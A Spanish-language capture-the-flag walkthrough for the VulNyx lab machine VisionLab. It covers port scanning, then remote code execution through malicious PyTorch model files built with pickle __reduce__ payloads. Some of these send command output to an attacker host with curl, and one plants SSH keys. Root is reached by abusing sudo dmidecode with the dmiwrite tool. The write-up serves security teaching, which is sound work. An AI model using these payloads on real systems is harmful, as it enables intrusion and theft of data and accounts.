
A continuación se describe el proceso para vulnerar la máquina VisionLab de la plataforma VulNyx. Para resolverla solo es necesario aplicar una técnica de intrusión y otra de escalada de privilegios. Sin embargo, ambas son algo laboriosas, por lo que la plataforma clasifica la máquina como de dificultad media. En este artículo aprenderemos a crear un modelo malicioso de PyTorch para conseguir una ejecución remota de código (RCE) y a aprovechar una configuración insegura de sudo para ejecutar dmidecode y obtener acceso como root.
Tabla de contenido
Abrir tabla de contenido
Enumeración

Observamos que a la máquina se le ha asignado la IP 192.168.1.173.
El primer paso en cualquier CTF es reconocer la superficie de ataque. Para ello, realizamos un escaneo de puertos contra la IP objetivo con Nmap.
nmap -p- -Pn 192.168.1.173
Explicación del comando:
-p-: escanea todos los puertos TCP (del 1 al 65535), no solo los habituales. Es imprescindible en un CTF para no pasar por alto posibles vectores de ataque.-Pn: omite el descubrimiento de hosts mediante ping. Muchas máquinas bloquean el tráfico ICMP; con-Pn, Nmap presupone que el host está activo y comienza directamente el escaneo de puertos. Sin esta opción, podríamos obtener el mensajeHost seems down.192.168.1.173: es la IP objetivo de la máquina en la red virtual.
Resultado: encontramos dos puertos abiertos: el 22 (SSH), utilizado para el acceso remoto, y el 8000 (HTTP), en el que se aloja un servicio web.
A continuación, realizamos un escaneo más preciso de esos puertos para identificar las versiones de los servicios y ejecutar los scripts predeterminados de Nmap:
nmap -p22,8000 -sVC -Pn -n 192.168.1.173
Explicación del comando:
-p22,8000: escanea únicamente los puertos detectados como abiertos.-sV: activa la detección de versiones e identifica el software y su versión (OpenSSH 10.0p2 y Uvicorn).-sC: ejecuta los scripts predeterminados de Nmap, que pueden revelar información útil sobre la configuración de los servicios.-n: desactiva la resolución DNS inversa para acelerar el escaneo.-Pn: omite el descubrimiento previo del host mediante ping.
El escaneo devuelve la siguiente información sobre los servicios:
22/tcp open ssh OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
8000/tcp open http-alt uvicorn
Podríamos continuar realizando fuzzing sobre el servicio web, pero en este caso resulta más útil visitar la aplicación y enumerarla manualmente.
Enumeración manual

En la web encontramos una aplicación que utiliza inteligencia artificial para detectar objetos en imágenes. Podemos adjuntar una imagen y, de manera opcional, un modelo personalizado que se utilizará durante el análisis.
La aplicación exige que el modelo tenga la extensión .pt, correspondiente a los modelos de PyTorch, una conocida biblioteca de Python para el desarrollo de soluciones de inteligencia artificial.
Si seleccionamos una de las imágenes de prueba —o subimos una desde nuestro equipo— y pulsamos el botón «Analyze image», el modelo de IA detectará los objetos presentes y los delimitará mediante cuadros.
Intrusión
La aplicación permite subir un modelo propio de PyTorch. Si la carga mediante la función torch.load no se realiza de forma segura, podemos intentar conseguir una ejecución remota de código.
Para comprobar si la aplicación es vulnerable, podemos enviar un modelo que contenga un payload malicioso.
Más información sobre este tipo de vulnerabilidad: https://hacktricks.wiki/en/AI/AI-Models-RCE.html
Creamos el siguiente payload en nuestra máquina atacante:
# payload1.py
import torch
import os
class MaliciousPayload:
def __reduce__(self):
# This code will be executed when unpickled (e.g., on model.load_state_dict)
return (os.system, ("curl [ip atacante]:8000?$(id|base64)",))
# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}
# Save the malicious state dict
torch.save(malicious_state, "payload1.pth")
Al ejecutarlo, se genera el archivo payload1.pth:
python3 payload1.py
Después, iniciamos un servidor web en la máquina atacante para recibir la petición generada por el payload:
python3 -m http.server
Enviamos el archivo payload1.pth a la aplicación. En el registro del servidor web recibimos el resultado del comando id, que confirma que el proceso se ejecuta con el usuario vision.
Ahora podemos aprovechar el servicio SSH para añadir nuestra clave pública a la cuenta del usuario vision.
Si todavía no disponemos de un par de claves SSH en la máquina atacante, primero debemos generar una clave privada y otra pública.
Más información: How to Use ssh-keygen to Generate a New SSH Key?.
# payload2.py
import torch
import os
class MaliciousPayload:
def __reduce__(self):
# This code will be executed when unpickled (e.g., on model.load_state_dict)
return (os.system, ("mkdir -p /home/vision/.ssh && echo 'ssh-ed25519 AA.....HF email@domain.com' > /home/vision/.ssh/authorized_keys",))
# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}
# Save the malicious state dict
torch.save(malicious_state, "payload2.pth")
Al ejecutarlo, se genera el archivo payload2.pth:
python3 payload2.py
Enviamos el archivo payload2.pth a la aplicación.
Podemos comprobar que la clave pública se ha añadido correctamente al archivo authorized_keys del usuario mediante otro payload:
# payload3.py
import torch
import os
class MaliciousPayload:
def __reduce__(self):
# This code will be executed when unpickled (e.g., on model.load_state_dict)
return (os.system, ("curl [ip atacante]:8000?$(cat /home/vision/.ssh/authorized_keys|base64)",))
# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}
# Save the malicious state dict
torch.save(malicious_state, "payload3.pth")
Al ejecutarlo, se genera el archivo payload3.pth:
python3 payload3.py
Enviamos el archivo payload3.pth a la aplicación y podemos observar cómo el contenido del fichero authorized_keys, codificado en Base64, llega a nuestro servicio web.
Una vez añadida la clave, podemos conectarnos mediante SSH como el usuario vision, utilizando nuestra clave privada y sin necesidad de conocer su contraseña:
ssh -i ~/.ssh/id_ed25519 vision@192.168.1.173
De este modo, obtenemos una shell en el servidor.
Escalada
Para buscar posibles vías de escalada de privilegios, comprobamos qué comandos puede ejecutar el usuario vision mediante sudo:
vision@VisionLab:~$ sudo -l
Matching Defaults entries for vision on VisionLab:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User vision may run the following commands on VisionLab:
(ALL) NOPASSWD: /usr/sbin/dmidecode
vision@VisionLab:~$ /usr/sbin/dmidecode -V
3.4
El resultado indica que podemos ejecutar dmidecode como root sin proporcionar una contraseña. Además, la versión instalada es vulnerable, por lo que podemos aprovecharla para una escritura privilegiada de ficheros.
Más información:
- https://gtfobins.org/gtfobins/dmidecode/
- https://0xpthree.gitbook.io/notes/exploits-pocs/dmidecode-cve-2023-30630
- https://github.com/adamreiser/dmiwrite
Observamos que el usuario root tiene permitida la conexión por SSH, pero sin contraseña.
vision@VisionLab:~$ cat /etc/ssh/sshd_config | grep PermitRootLogin
PermitRootLogin prohibit-password
Esto nos permite acceder como root si conseguimos crear un fichero authorized_keys en la carpeta de configuración de SSH del usuario root, al igual que hicimos con el usuario vision.
Primero clonamos el repositorio https://github.com/adamreiser/dmiwrite y compilamos la herramienta en nuestra máquina atacante.
git clone https://github.com/adamreiser/dmiwrite
cd dmiwrite
make dmiwrite
Preparamos un fichero authorized_keys con nuestra clave pública (podemos utilizar la creada anteriormente), pero, en este caso, es importante dejar unas líneas delante y detrás de la clave. Esto se debe a que, si dejamos el fichero en una sola línea, dmidecode escribe caracteres invisibles delante, lo que provoca que la clave quede corrupta. En cambio, al estar en otra línea, esos caracteres no afectarán a nuestra clave porque esta estará en la línea siguiente.
$ cat authorized_keys
# Dejar espació aquí
ssh-ed25519 AAAAC3Nz...g+g5QnHF email@domain.com
# Dejar espació aquí
Utilizamos el fichero authorized_keys para crear el fichero .dmi con dmiwrite y lo compartimos mediante un servicio web para enviarlo a la máquina víctima.
./dmiwrite authorized_keys authorized_keys.dmi
python3 -m http.server
Ahora, desde la shell del usuario vision en la máquina víctima, descargamos el fichero authorized_keys.dmi en la carpeta /tmp mediante el servicio web creado con Python.
curl --output /tmp/authorized_keys.dmi http://[ip atacante]:8000/authorized_keys.dmi
Mediante sudo y dmidecode, intentamos crear el fichero authorized_keys del usuario root.
sudo /usr/sbin/dmidecode -d /tmp/authorized_keys.dmi --no-sysfs --dump-bin /root/.ssh/authorized_keys
Ahora, al igual que hicimos con el usuario vision, intentamos acceder por SSH desde nuestra máquina atacante utilizando la clave privada generada, pero esta vez con el usuario root.
ssh -i ~/.ssh/id_ed25519 root@192.168.1.173
Conseguimos acceder a la máquina víctima con el usuario de máximos privilegios sin conocer ninguna contraseña.
Ahora podemos leer las dos flags de la máquina:
root@VisionLab:~# cat /home/vision/user-48Jj1Lw.txt
f************************0
root@VisionLab:~# cat /root/root.txt
1************************2
root@VisionLab:~#
Y hasta aquí llega nuestro recorrido por VisionLab. Ojalá te lleves alguna técnica nueva en la mochila; si no, que al menos el camino hasta root haya merecido la pena.